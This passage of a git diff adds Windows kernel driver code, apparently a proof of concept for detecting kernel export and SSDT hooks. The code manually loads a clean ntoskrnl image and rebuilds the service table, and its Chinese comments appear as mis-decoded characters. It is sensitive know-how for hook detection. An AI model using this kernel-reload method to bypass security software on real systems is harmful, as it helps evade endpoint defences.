+ +} + + + +/* +Đ޸´FileBufferÖеÄĆ«ŇĆ °´ŐŐVirtualAglin ¶ÔĆë +filebuffer ÎŞ¶ÁȡµÄÄÚ´ć Ł¬ImageModuleBaseΪϵͳÖеÄÄŁżéµŘÖ· +*/ +BOOLEAN ImageFile(BYTE *FileBuffer,BYTE **ImageModuleBase) +{ + PIMAGE_DOS_HEADER ImageDosHeader; + PIMAGE_NT_HEADERS ImageNtHeaders; + PIMAGE_SECTION_HEADER ImageSectionHeader; + DWORD FileAlignment,SectionAlignment,NumberOfSections,SizeOfImage,SizeOfHeaders; + DWORD Index; + BYTE *ImageBase; + DWORD SizeOfNtHeaders; + ImageDosHeader=(PIMAGE_DOS_HEADER)FileBuffer; + if (ImageDosHeader->e_magic!=IMAGE_DOS_SIGNATURE) + { + return FALSE; + } + ImageNtHeaders=(PIMAGE_NT_HEADERS)(FileBuffer+ImageDosHeader->e_lfanew); + if (ImageNtHeaders->Signature!=IMAGE_NT_SIGNATURE) + { + return FALSE; + } + FileAlignment=ImageNtHeaders->OptionalHeader.FileAlignment;//0x200 + SectionAlignment=ImageNtHeaders->OptionalHeader.SectionAlignment;//0x1000 + NumberOfSections=ImageNtHeaders->FileHeader.NumberOfSections;//0x16 + SizeOfImage=ImageNtHeaders->OptionalHeader.SizeOfImage;//0x412000 + SizeOfHeaders=ImageNtHeaders->OptionalHeader.SizeOfHeaders;//0x800 + + SizeOfImage=AlignSize(SizeOfImage,SectionAlignment);//0x412000 + + ImageBase=ExAllocatePool(NonPagedPool,SizeOfImage); + if (ImageBase==NULL) + { + return FALSE; + } + RtlZeroMemory(ImageBase,SizeOfImage); + //0xf8 + SizeOfNtHeaders=sizeof(ImageNtHeaders->FileHeader) + sizeof(ImageNtHeaders->Signature)+ImageNtHeaders->FileHeader.SizeOfOptionalHeader; + ImageSectionHeader=(PIMAGE_SECTION_HEADER)((DWORD)ImageNtHeaders+SizeOfNtHeaders); + for (Index=0;IndexSizeOfImage) + {//no in + ImageSectionHeader[NumberOfSections-1].SizeOfRawData = SizeOfImage-ImageSectionHeader[NumberOfSections-1].VirtualAddress; + } + RtlCopyMemory(ImageBase,FileBuffer,SizeOfHeaders); + + for (Index=0;IndexDriverSection ±éŔú ÄÚşËÄŁżé +*/ +PVOID GetKernelModuleBase(PDRIVER_OBJECT DriverObject,char *KernelModuleName) +{ + PLDR_DATA_TABLE_ENTRY DriverSection,LdrEntry; + ANSI_STRING AnsiKernelModuleName; + UNICODE_STRING UniKernelModuleName; + UNICODE_STRING ModuleName; + WCHAR *Buffer; + int Lentgh,Index; + RtlInitAnsiString(&AnsiKernelModuleName,KernelModuleName); + RtlAnsiStringToUnicodeString(&UniKernelModuleName,&AnsiKernelModuleName,TRUE); + Buffer=ExAllocatePool(NonPagedPool,260*2); + if (Buffer==NULL) + { + return NULL; + } + RtlZeroMemory(Buffer,206*2); + DriverSection=DriverObject->DriverSection; + LdrEntry=(PLDR_DATA_TABLE_ENTRY)DriverSection->InLoadOrderLinks.Flink; + while (LdrEntry&&DriverSection!=LdrEntry) + { + //(DWORD)LdrEntry->DllBase>=*(DWORD*)MmSystemRangeStart&& + if (LdrEntry->FullDllName.Length>0&& + LdrEntry->FullDllName.Buffer!=NULL) + { + + if (MmIsAddressValid(&LdrEntry->FullDllName.Buffer[LdrEntry->FullDllName.Length/2-1])) + { + Lentgh=LdrEntry->FullDllName.Length/2; + for (Index=Lentgh-1;Index>0;Index--) + { + if (LdrEntry->FullDllName.Buffer[Index]==0x005C) + { + break; + } + } + if (LdrEntry->FullDllName.Buffer[Index]==0x005C) + { + RtlCopyMemory(Buffer,&(LdrEntry->FullDllName.Buffer[Index+1]),(Lentgh-Index-1)*2); + ModuleName.Buffer=Buffer; + ModuleName.Length=(Lentgh-Index-1)*2; + ModuleName.MaximumLength=260*2; + } + else + { + RtlCopyMemory(Buffer,LdrEntry->FullDllName.Buffer,Lentgh*2); + ModuleName.Buffer=Buffer; + ModuleName.Length=Lentgh*2; + ModuleName.MaximumLength=260*2; + + } + + if (RtlEqualUnicodeString(&ModuleName,&UniKernelModuleName,TRUE)) + { + ExFreePool(Buffer); + return LdrEntry->DllBase; + } + + } + + } + LdrEntry=(PLDR_DATA_TABLE_ENTRY)LdrEntry->InLoadOrderLinks.Flink; + } + ExFreePool(Buffer); + return NULL; +} + + +/* +ͨąýµĽłö±í»ńµĂşŻĘýµŘÖ· +*/ +PVOID + MiFindExportedRoutine ( + IN PVOID DllBase, + BOOLEAN ByName, + IN char *RoutineName, + DWORD Ordinal + ) +{ + USHORT OrdinalNumber; + PULONG NameTableBase; + PUSHORT NameOrdinalTableBase; + PULONG AddressTableBase; + PULONG Addr; + LONG High; + LONG Low; + LONG Middle; + LONG Result; + ULONG ExportSize; + PVOID FunctionAddress; + PIMAGE_EXPORT_DIRECTORY ExportDirectory; + + PAGED_CODE(); + + //»ńµĂµĽłö±í + ExportDirectory = (PIMAGE_EXPORT_DIRECTORY) RtlImageDirectoryEntryToData ( + DllBase, + TRUE, + IMAGE_DIRECTORY_ENTRY_EXPORT, + &ExportSize); + + if (ExportDirectory == NULL) { + return NULL; + } + + NameTableBase = (PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfNames); + NameOrdinalTableBase = (PUSHORT)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfNameOrdinals); + AddressTableBase=(PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfFunctions); + + if (!ByName) + { + return (PVOID)AddressTableBase[Ordinal]; + } + + + Low = 0; + Middle = 0; + High = ExportDirectory->NumberOfNames - 1; + + while (High >= Low) { + Middle = (Low + High) >> 1; + + Result = strcmp (RoutineName, + (PCHAR)DllBase + NameTableBase[Middle]); + + if (Result < 0) { + High = Middle - 1; + } + else if (Result > 0) { + Low = Middle + 1; + } + else { + break; + } + } + + if (High < Low) { + return NULL; + } + + OrdinalNumber = NameOrdinalTableBase[Middle]; + if ((ULONG)OrdinalNumber >= ExportDirectory->NumberOfFunctions) { + return NULL; + } + + Addr = (PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfFunctions); + + FunctionAddress = (PVOID)((PCHAR)DllBase + Addr[OrdinalNumber]); + + // + // Forwarders are not used by the kernel and HAL to each other. + // + + ASSERT ((FunctionAddress <= (PVOID)ExportDirectory) || + (FunctionAddress >= (PVOID)((PCHAR)ExportDirectory + ExportSize))); + + return FunctionAddress; +} + + + + +BOOLEAN InsertOriginalFirstThunk(DWORD ImageBase,DWORD ExistImageBase,PIMAGE_THUNK_DATA FirstThunk) +{ + DWORD Offset; + PIMAGE_THUNK_DATA OriginalFirstThunk; + Offset=(DWORD)FirstThunk-ImageBase; + OriginalFirstThunk=(PIMAGE_THUNK_DATA)(ExistImageBase+Offset); + while (OriginalFirstThunk->u1.Function) + { + FirstThunk->u1.Function=OriginalFirstThunk->u1.Function; + OriginalFirstThunk++; + FirstThunk++; + } + return TRUE; + +} + + + + + + +//Đ޸´µĽČë±í +BOOLEAN FixImportTable(BYTE *ImageBase,DWORD ExistImageBase,PDRIVER_OBJECT DriverObject) +{ + PIMAGE_IMPORT_DESCRIPTOR ImageImportDescriptor=NULL; + PIMAGE_THUNK_DATA ImageThunkData,FirstThunk; + PIMAGE_IMPORT_BY_NAME ImortByName; + DWORD ImportSize; + PVOID ModuleBase; + char ModuleName[260]; + DWORD FunctionAddress; + //µĂµ˝µĽČë±íµŘÖ· + ImageImportDescriptor=(PIMAGE_IMPORT_DESCRIPTOR)RtlImageDirectoryEntryToData(ImageBase,TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT,&ImportSize); + if (ImageImportDescriptor==NULL) + { + return FALSE; + } + while (ImageImportDescriptor->OriginalFirstThunk&&ImageImportDescriptor->Name) + { + strcpy(ModuleName,(char*)(ImageBase+ImageImportDescriptor->Name)); //µĽČëĐĹϢĂűłĆ + + //ntoskrnl.exe(NTKRNLPA.exeˇ˘ntkrnlmp.exeˇ˘ntkrpamp.exe)Łş + if (_stricmp(ModuleName,"ntkrnlpa.exe")==0|| + _stricmp(ModuleName,"ntoskrnl.exe")==0|| + _stricmp(ModuleName,"ntkrnlmp.exe")==0|| + _stricmp(ModuleName,"ntkrpamp.exe")==0) + {//no in + ModuleBase=GetKernelModuleBase(DriverObject,"ntkrnlpa.exe"); //ͨąýDriverObject->DriverSection ±éŔúÄÚşËÄŁżé + if (ModuleBase==NULL) + { + ModuleBase=GetKernelModuleBase(DriverObject,"ntoskrnl.exe"); + if (ModuleBase==NULL) + { + ModuleBase=GetKernelModuleBase(DriverObject,"ntkrnlmp.exe"); + if (ModuleBase==NULL) + { + ModuleBase=GetKernelModuleBase(DriverObject,"ntkrpamp.exe"); + + } + + } + } + + } + else + { + ModuleBase=GetKernelModuleBase(DriverObject,ModuleName); + + } + if (ModuleBase==NULL) + { + FirstThunk=(PIMAGE_THUNK_DATA)(ImageBase+ImageImportDescriptor->FirstThunk); + InsertOriginalFirstThunk((DWORD)ImageBase,ExistImageBase,FirstThunk); + ImageImportDescriptor++; + continue; + } + //PSHED.dll + ImageThunkData=(PIMAGE_THUNK_DATA)(ImageBase+ImageImportDescriptor->OriginalFirstThunk); + FirstThunk=(PIMAGE_THUNK_DATA)(ImageBase+ImageImportDescriptor->FirstThunk); + while(ImageThunkData->u1.Ordinal) + { + //ĐňşĹµĽČë + if(IMAGE_SNAP_BY_ORDINAL32(ImageThunkData->u1.Ordinal)) + { + //ͨąýϵͳÄں˵ĵĽłö±í ĂűłĆ- »ńµĂ şŻĘýµŘÖ· + FunctionAddress=(DWORD)MiFindExportedRoutine(ModuleBase,FALSE,NULL,ImageThunkData->u1.Ordinal & ~IMAGE_ORDINAL_FLAG32); + if (FunctionAddress==0) + { + return FALSE; + } + FirstThunk->u1.Function=FunctionAddress; + } + //şŻĘýĂűµĽČë + else + { + // + ImortByName=(PIMAGE_IMPORT_BY_NAME)(ImageBase+ImageThunkData->u1.AddressOfData); + FunctionAddress=(DWORD)MiFindExportedRoutine(ModuleBase,TRUE,ImortByName->Name,0); + if (FunctionAddress==0) + { + return FALSE; + } + FirstThunk->u1.Function=FunctionAddress; + } + FirstThunk++; + ImageThunkData++; + } + ImageImportDescriptor++; + } + return TRUE; +} + + +/* +system32//NtosKrnl.exe .. +*/ +BOOLEAN PeLoad( + WCHAR *FileFullPath, + BYTE **ImageModeleBase, + PDRIVER_OBJECT DeviceObject, + DWORD ExistImageBase + ) +{ + NTSTATUS Status; + HANDLE hFile; + LARGE_INTEGER FileSize; + DWORD Length; + BYTE *FileBuffer; + BYTE *ImageBase; + IO_STATUS_BLOCK IoStatus; + //\SystemRoot\system32\ntkrnlpa.exe + Status=KernelOpenFile(FileFullPath,&hFile,0x100020,0x80,1,1,0x20); //×ÔĽş´´˝¨ÎÄĽţ¶ÔĎ󣬹ŇČëFileObject->IrpList ˛˘·µ»ŘÎÄĽţľä±ú + if (!NT_SUCCESS(Status)) + { + return FALSE; + } + + Status=KernelGetFileSize(hFile,&FileSize); //¶ÁȡirpĐĹϢŁ¬·µ»Řfilesize + if (!NT_SUCCESS(Status)) + { + ZwClose(hFile); + return FALSE; + } + Length=FileSize.LowPart; + FileBuffer=ExAllocatePool(PagedPool,Length); + if (FileBuffer==NULL) + { + ZwClose(hFile); + return FALSE; + } + + Status=KernelReadFile(hFile,NULL,Length,FileBuffer,&IoStatus); //´«ČëÎÄĽţľä±úˇ˘ÎÄĽţ´óС ͨąýirpÇëÇ󣬶ÁȡÎÄĽţµ˝ÄÚ´ćÖĐ + if (!NT_SUCCESS(Status)) + { + ZwClose(hFile); + ExFreePool(FileBuffer); + return FALSE; + } + ZwClose(hFile); + + + if(!ImageFile(FileBuffer,&ImageBase)) //Đ޸´FileBufferÖеÄĆ«ŇĆ °´ŐŐVirtualAglin ¶ÔĆë µĂµ˝Č«ľÖImageModuleBase + { + ExFreePool(FileBuffer); + return FALSE; + } + ExFreePool(FileBuffer); + + //2k3ĎÂMiFindExportedRoutineµ÷ÓĂʧ°Ü + if(!FixImportTable(ImageBase,ExistImageBase,DeviceObject)) //Đ޸´µĽČë±í + { + ExFreePool(ImageBase); + return FALSE; + } + if(!FixBaseRelocTable(ImageBase,ExistImageBase)) //Đ޸´Öض¨Î»±í + { + ExFreePool(ImageBase); + return FALSE; + } + + *ImageModeleBase=ImageBase; //µĂµ˝×îşóµÄ»ůµŘÖ· ľÍĘÇ şÍ Ô­Ŕ´ÄÚ´ćÖиńʽһŃůµÄ Ň»żéntos + + return TRUE; +} + diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelReload.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelReload.h new file mode 100644 index 00000000..449ec239 --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelReload.h @@ -0,0 +1,64 @@ +#include "Reload.h" + + + + + +BOOLEAN GetSystemKernelModuleInfo(WCHAR **SystemKernelModulePath,PDWORD SystemKernelModuleBase,PDWORD SystemKernelModuleSize); + +BOOLEAN IoGetFileSystemVpbInfo(IN PFILE_OBJECT FileObject,PDEVICE_OBJECT *DeviceObject,PDEVICE_OBJECT *RealDevice); + + +BOOLEAN GetDeviceObjectFromFileFullName(WCHAR *FileFullName,PDEVICE_OBJECT *RealDevice, PDEVICE_OBJECT *DeviceObject); + + +BOOLEAN GetWindowsRootName(WCHAR *WindowsRootName); + +NTSTATUS KernelOpenFile(wchar_t *FileFullName, + PHANDLE FileHandle, + ACCESS_MASK DesiredAccess, + ULONG FileAttributes, + ULONG ShareAccess, + ULONG CreateDisposition, + ULONG CreateOptions); + + + + +NTSTATUS KernelGetFileSize(HANDLE hFile, PLARGE_INTEGER FileSize); + + + +NTSTATUS KernelReadFile(HANDLE hFile, PLARGE_INTEGER ByteOffset, ULONG Length, PVOID FileBuffer, PIO_STATUS_BLOCK IoStatusBlock); + + +BOOLEAN ImageFile(BYTE *FileBuffer,BYTE **ImageModuleBase); +ULONG AlignSize(ULONG nSize, ULONG nAlign); + + +PVOID GetKernelModuleBase(PDRIVER_OBJECT DriverObject,char *KernelModuleName); + +BOOLEAN InsertOriginalFirstThunk(DWORD ImageBase,DWORD ExistImageBase,PIMAGE_THUNK_DATA FirstThunk); + + +PVOID + MiFindExportedRoutine ( + IN PVOID DllBase, + BOOLEAN ByName, + IN char *RoutineName, + DWORD Ordinal + ); + + + +BOOLEAN FixImportTable(BYTE *ImageBase,DWORD ExistImageBase,PDRIVER_OBJECT DriverObject); + + +BOOLEAN PeLoad( + WCHAR *FileFullPath, + BYTE **ImageModeleBase, + PDRIVER_OBJECT DeviceObject, + DWORD ExistImageBase + ); + + diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/ReadMe.txt b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/ReadMe.txt new file mode 100644 index 00000000..2aac9c43 --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/ReadMe.txt @@ -0,0 +1 @@ +Check Kernel EAT Hook diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Reload.c b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Reload.c new file mode 100644 index 00000000..48ca4bcb --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Reload.c @@ -0,0 +1,355 @@ +#include "Reload.h" +#include "KernelReload.h" + +WCHAR* SystemKernelFilePath = NULL; +ULONG_PTR SystemKernelModuleBase = 0; +ULONG_PTR SystemKernelModuleSize = 0; +ULONG_PTR ImageModuleBase; + +PVOID OriginalKiServiceTable; +extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable; +PSERVICE_DESCRIPTOR_TABLE OriginalServiceDescriptorTable; +PSERVICE_DESCRIPTOR_TABLE Safe_ServiceDescriptorTable; + + +/* +ĘäČëFuncName ˇ˘ Ô­Ŕ´NtosµŘÖ· ˇ˘×ÔĽşÖŘÔŘ NtosµŘÖ· +//µÚŇ»´Î¶ĽĘÇͨąý ϵͳµÄÔ­Ŕ´Ć«ŇĆ + NewBase »ńµĂşŻĘýµŘÖ· +//Č»şóͨąý×ÔĽşµÄRMmGetSystemRoutineAddress»ńµĂ Ć«ŇĆ+NewBase »ńµĂşŻĘýµŘÖ· +»ą˛»ÄÜŐҵ˝Ôň±éŔúµĽłö±í +*/ +ULONG ReLoadNtosCALL(WCHAR *lpwzFuncTion,ULONG ulOldNtosBase,ULONG ulReloadNtosBase) +{ + UNICODE_STRING UnicodeFunctionName; + ULONG ulOldFunctionAddress; + PUCHAR ulReloadFunctionAddress = NULL; + int index=0; + PIMAGE_DOS_HEADER pDosHeader; + PIMAGE_NT_HEADERS NtDllHeader; + + IMAGE_OPTIONAL_HEADER opthdr; + DWORD* arrayOfFunctionAddresses; + DWORD* arrayOfFunctionNames; + WORD* arrayOfFunctionOrdinals; + DWORD functionOrdinal; + DWORD Base, x, functionAddress,position; + char* functionName; + IMAGE_EXPORT_DIRECTORY *pExportTable; + ULONG ulNtDllModuleBase; + + UNICODE_STRING UnicodeFunction; + UNICODE_STRING UnicodeExportTableFunction; + ANSI_STRING ExportTableFunction; + //µÚŇ»´Î¶ĽĘÇͨąý ϵͳµÄÔ­Ŕ´Ć«ŇĆ + NewBase »ńµĂşŻĘýµŘÖ· + //Č»şóͨąý×ÔĽşµÄRMmGetSystemRoutineAddress»ńµĂ Ć«ŇĆ+NewBase »ńµĂşŻĘýµŘÖ· + __try + { + if (RRtlInitUnicodeString && + RRtlCompareUnicodeString && + RMmGetSystemRoutineAddress && + RMmIsAddressValid) + { + RRtlInitUnicodeString(&UnicodeFunctionName,lpwzFuncTion); + ulOldFunctionAddress = (DWORD)RMmGetSystemRoutineAddress(&UnicodeFunctionName); + ulReloadFunctionAddress = (PUCHAR)(ulOldFunctionAddress - ulOldNtosBase + ulReloadNtosBase); //»ńµĂÖŘÔصÄFuncAddr + if (RMmIsAddressValid(ulReloadFunctionAddress)) //ČçąűÎŢЧľÍ´Ó µĽłö±í »ńȡŁż Ó¦¸Ă˛»»áÎŢЧ + { + return (ULONG)ulReloadFunctionAddress; + } + //´ÓµĽłö±íŔď»ńȡ + ulNtDllModuleBase = ulReloadNtosBase; + pDosHeader = (PIMAGE_DOS_HEADER)ulReloadNtosBase; + if (pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE) + { + KdPrint(("failed to find NtHeader\r\n")); + return 0; + } + NtDllHeader=(PIMAGE_NT_HEADERS)(ULONG)((ULONG)pDosHeader+pDosHeader->e_lfanew); + if (NtDllHeader->Signature!=IMAGE_NT_SIGNATURE) + { + KdPrint(("failed to find NtHeader\r\n")); + return 0; + } + opthdr = NtDllHeader->OptionalHeader; + pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*)ulNtDllModuleBase + opthdr.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress); //µĂµ˝µĽłö±í + arrayOfFunctionAddresses = (DWORD*)( (BYTE*)ulNtDllModuleBase + pExportTable->AddressOfFunctions); //µŘÖ·±í + arrayOfFunctionNames = (DWORD*)((BYTE*)ulNtDllModuleBase + pExportTable->AddressOfNames); //şŻĘýĂű±í + arrayOfFunctionOrdinals = (WORD*)((BYTE*)ulNtDllModuleBase + pExportTable->AddressOfNameOrdinals); + + Base = pExportTable->Base; + + for(x = 0; x < pExportTable->NumberOfFunctions; x++) //ÔÚŐű¸öµĽłö±íŔďɨĂč + { + functionName = (char*)( (BYTE*)ulNtDllModuleBase + arrayOfFunctionNames[x]); + functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; + functionAddress = (DWORD)((BYTE*)ulNtDllModuleBase + arrayOfFunctionAddresses[functionOrdinal]); + RtlInitAnsiString(&ExportTableFunction,functionName); + RtlAnsiStringToUnicodeString(&UnicodeExportTableFunction,&ExportTableFunction,TRUE); + + RRtlInitUnicodeString(&UnicodeFunction,lpwzFuncTion); + if (RRtlCompareUnicodeString(&UnicodeExportTableFunction,&UnicodeFunction,TRUE) == 0) + { + RtlFreeUnicodeString(&UnicodeExportTableFunction); + return functionAddress; + } + RtlFreeUnicodeString(&UnicodeExportTableFunction); + } + return 0; + } + RtlInitUnicodeString(&UnicodeFunctionName,lpwzFuncTion); + ulOldFunctionAddress = (DWORD)MmGetSystemRoutineAddress(&UnicodeFunctionName); + ulReloadFunctionAddress = (PUCHAR)(ulOldFunctionAddress - ulOldNtosBase + ulReloadNtosBase); + + //KdPrint(("%ws:%08x:%08x",lpwzFuncTion,ulOldFunctionAddress,ulReloadFunctionAddress)); + + if (MmIsAddressValid(ulReloadFunctionAddress)) + { + return (ULONG)ulReloadFunctionAddress; + } + // + + }__except(EXCEPTION_EXECUTE_HANDLER){ + KdPrint(("EXCEPTION_EXECUTE_HANDLER")); + } + return 0; +} + + +/*ÖŘÔŘNtos*/ +NTSTATUS ReLoadNtos(PDRIVER_OBJECT DriverObject,DWORD RetAddress) +{ + NTSTATUS status = STATUS_UNSUCCESSFUL; + ULONG ulKeAddSystemServiceTable; + PULONG p; + + + if (!GetSystemKernelModuleInfo( + &SystemKernelFilePath, + &SystemKernelModuleBase, + &SystemKernelModuleSize + )) + { + KdPrint(("Get System Kernel Module failed")); + return status; + } + + + if (InitSafeOperationModule( + DriverObject, + SystemKernelFilePath, + SystemKernelModuleBase + )) + { + KdPrint(("Init Ntos module success\r\n")); + + + RRtlInitUnicodeString = NULL; + RMmGetSystemRoutineAddress = NULL; + RMmIsAddressValid = NULL; + RRtlCompareUnicodeString = NULL; + RPsGetCurrentProcess = NULL; + + status = STATUS_UNSUCCESSFUL; + + //µÚŇ»´Î¶ĽĘÇͨąý ϵͳµÄÔ­Ŕ´Ć«ŇĆ + NewBase »ńµĂşŻĘýµŘÖ· + //Č»şóͨąý×ÔĽşµÄRMmGetSystemRoutineAddress»ńµĂ Ć«ŇĆ+NewBase »ńµĂşŻĘýµŘÖ· + RRtlInitUnicodeString = (ReloadRtlInitUnicodeString)ReLoadNtosCALL(L"RtlInitUnicodeString",SystemKernelModuleBase,ImageModuleBase); + RRtlCompareUnicodeString = (ReloadRtlCompareUnicodeString)ReLoadNtosCALL(L"RtlCompareUnicodeString",SystemKernelModuleBase,ImageModuleBase); + RMmGetSystemRoutineAddress = (ReloadMmGetSystemRoutineAddress)ReLoadNtosCALL(L"MmGetSystemRoutineAddress",SystemKernelModuleBase,ImageModuleBase); + RMmIsAddressValid = (ReloadMmIsAddressValid)ReLoadNtosCALL(L"MmIsAddressValid",SystemKernelModuleBase,ImageModuleBase); + RPsGetCurrentProcess = (ReloadPsGetCurrentProcess)ReLoadNtosCALL(L"PsGetCurrentProcess",SystemKernelModuleBase,ImageModuleBase); + if (!RRtlInitUnicodeString || + !RRtlCompareUnicodeString || + !RMmGetSystemRoutineAddress || + !RMmIsAddressValid || + !RPsGetCurrentProcess) + { + KdPrint(("Init NtosCALL failed")); + return status; + } + } + return status; +} + + + + +BOOLEAN InitSafeOperationModule(PDRIVER_OBJECT pDriverObject,WCHAR *SystemModulePath,ULONG KernelModuleBase) +{ + UNICODE_STRING FileName; + HANDLE hSection; + PDWORD FixdOriginalKiServiceTable; + PDWORD CsRootkitOriginalKiServiceTable; + ULONG i = 0; + + + //×ÔĽşpeload Ň»¸öntos*Ł¬ŐâŃůľÍ˝âľöÁ˸úĆäËű°˛Č«ČíĽţµÄłĺÍ»Ŕ˛~ + if (!PeLoad(SystemModulePath,(BYTE**)&ImageModuleBase,pDriverObject,KernelModuleBase)) + { + return FALSE; + } + + OriginalKiServiceTable = ExAllocatePool(NonPagedPool,KeServiceDescriptorTable->TableSize*sizeof(DWORD)); + if (!OriginalKiServiceTable) + { + return FALSE; + } + //»ńµĂSSDT»ůÖ·Ł¬Í¨ąýÖض¨Î»±í±Č˝ĎµĂµ˝ + if(!GetOriginalKiServiceTable((BYTE*)ImageModuleBase,KernelModuleBase,(DWORD*)&OriginalKiServiceTable)) + { + ExFreePool(OriginalKiServiceTable); + + return FALSE; + } + + //Đ޸´SSDTşŻĘýµŘÖ· ¶ĽĘÇ×ÔĽşReloadµÄşŻĘýµŘÖ· ¸Éľ»µÄ + FixOriginalKiServiceTable((PDWORD)OriginalKiServiceTable,(DWORD)ImageModuleBase,KernelModuleBase); + + OriginalServiceDescriptorTable = (PSERVICE_DESCRIPTOR_TABLE)ExAllocatePool(NonPagedPool,sizeof(SERVICE_DESCRIPTOR_TABLE)*4); + if (OriginalServiceDescriptorTable == NULL) + { + ExFreePool(OriginalKiServiceTable); + return FALSE; + } + RtlZeroMemory(OriginalServiceDescriptorTable,sizeof(SERVICE_DESCRIPTOR_TABLE)*4); + + //Đ޸´SERVICE_DESCRIPTOR_TABLE ˝áąą + OriginalServiceDescriptorTable->ServiceTable = (PDWORD)OriginalKiServiceTable; + OriginalServiceDescriptorTable->CounterTable = KeServiceDescriptorTable->CounterTable; + OriginalServiceDescriptorTable->TableSize = KeServiceDescriptorTable->TableSize; + OriginalServiceDescriptorTable->ArgumentTable = KeServiceDescriptorTable->ArgumentTable; + + CsRootkitOriginalKiServiceTable = (PDWORD)ExAllocatePool(NonPagedPool,KeServiceDescriptorTable->TableSize*sizeof(DWORD)); + if (CsRootkitOriginalKiServiceTable==NULL) + { + ExFreePool(OriginalServiceDescriptorTable); + ExFreePool(OriginalKiServiceTable); + return FALSE; + } + RtlZeroMemory(CsRootkitOriginalKiServiceTable,KeServiceDescriptorTable->TableSize*sizeof(DWORD)); + + Safe_ServiceDescriptorTable = (PSERVICE_DESCRIPTOR_TABLE)ExAllocatePool(NonPagedPool,sizeof(SERVICE_DESCRIPTOR_TABLE)*4); + if (Safe_ServiceDescriptorTable == NULL) + { + ExFreePool(OriginalServiceDescriptorTable); + ExFreePool(CsRootkitOriginalKiServiceTable); + ExFreePool(OriginalKiServiceTable); + return FALSE; + } + //ŐâĘÇŇ»¸ö¸Éľ»µÄÔ­ĘĽ±íŁ¬Ăż¸ö±íŔďËů¶ÔÓ¦µÄSSDTşŻĘýµÄµŘÖ·¶ĽĘÇÔ­ĘĽşŻĘý + RtlZeroMemory(Safe_ServiceDescriptorTable,sizeof(SERVICE_DESCRIPTOR_TABLE)*4); + + //ĚîłäÔ­ĘĽşŻĘýµŘÖ· + for (i = 0; i < KeServiceDescriptorTable->TableSize; i++) + { + CsRootkitOriginalKiServiceTable[i] = OriginalServiceDescriptorTable->ServiceTable[i]; + } + Safe_ServiceDescriptorTable->ServiceTable = (PDWORD)CsRootkitOriginalKiServiceTable; + Safe_ServiceDescriptorTable->CounterTable = KeServiceDescriptorTable->CounterTable; + Safe_ServiceDescriptorTable->TableSize = KeServiceDescriptorTable->TableSize; + Safe_ServiceDescriptorTable->ArgumentTable = KeServiceDescriptorTable->ArgumentTable; + + //Ęͷžͻábsod + //ExFreePool(OriginalKiServiceTable); + + return TRUE; +} + + +VOID FixOriginalKiServiceTable(PDWORD OriginalKiServiceTable,DWORD ModuleBase,DWORD ExistImageBase) +{ + DWORD FuctionCount; + DWORD Index; + FuctionCount=KeServiceDescriptorTable->TableSize; //şŻĘý¸öĘý + + KdPrint(("ssdt funcion count:%X---KiServiceTable:%X\n",FuctionCount,KeServiceDescriptorTable->ServiceTable)); + for (Index=0;Indexe_magic!=IMAGE_DOS_SIGNATURE) + { + return FALSE; + } + ImageNtHeaders=(PIMAGE_NT_HEADERS)(NewImageBase+ImageDosHeader->e_lfanew); + if (ImageNtHeaders->Signature!=IMAGE_NT_SIGNATURE) + { + return FALSE; + } + KeServiceDescriptorTableRva=(DWORD)MiFindExportedRoutine(NewImageBase,TRUE,"KeServiceDescriptorTable",0); + if (KeServiceDescriptorTableRva==0) + { + return FALSE; + } + + KeServiceDescriptorTableRva=KeServiceDescriptorTableRva-(DWORD)NewImageBase; + ImageBaseReloc=RtlImageDirectoryEntryToData(NewImageBase,TRUE,IMAGE_DIRECTORY_ENTRY_BASERELOC,&RelocSize); + if (ImageBaseReloc==NULL) + { + return FALSE; + } + + while (ImageBaseReloc->SizeOfBlock) + { + count++; + ItemCount=(ImageBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION))/2; + TypeOffset=(WORD*)((DWORD)ImageBaseReloc+sizeof(IMAGE_BASE_RELOCATION)); + for (Index=0;Index>12; //¸ß4λĘÇŔŕĐÍ µÍ12λλҳÄÚĆ«ŇĆ 4k + if (Type==3) + { + //Base + Virtual ¶¨Î»µ˝Ňł + µÍ12λ = RelocAddress ĐčŇŞĐ޸´µÄµŘÖ· + RelocAddress=(PDWORD)((DWORD)(TypeOffset[Index]&0x0fff)+ImageBaseReloc->VirtualAddress+(DWORD)NewImageBase); + RvaData=*RelocAddress-ExistImageBase; + + if (RvaData==KeServiceDescriptorTableRva) //Öض¨Î»±íÖеÄrva ĘÇ KeServiceDescriptorTable ±íĎîµÄ + { + if(*(USHORT*)((DWORD)RelocAddress-2)==0x05c7) + { + /* + 1: kd> dd 0x89651c12 RelocAddress - 2 + 89651c12 79c005c7 bd9c83f8 + + 1: kd> dd KeServiceDescriptorTable + 83f879c0 83e9bd9c 00000000 00000191 83e9c3e4 + 83f879d0 00000000 00000000 00000000 00000000 + + 1: kd> dd 0x89651c14 RelocAddress + 89651c14 83f879c0 83e9bd9c 79c41589 c8a383f8 + 89651c24 c783f879 f879cc05 e9c3e483 d8158983 + */ + //RelocAddress ŔďĂć´ć·Ĺ×Ĺ 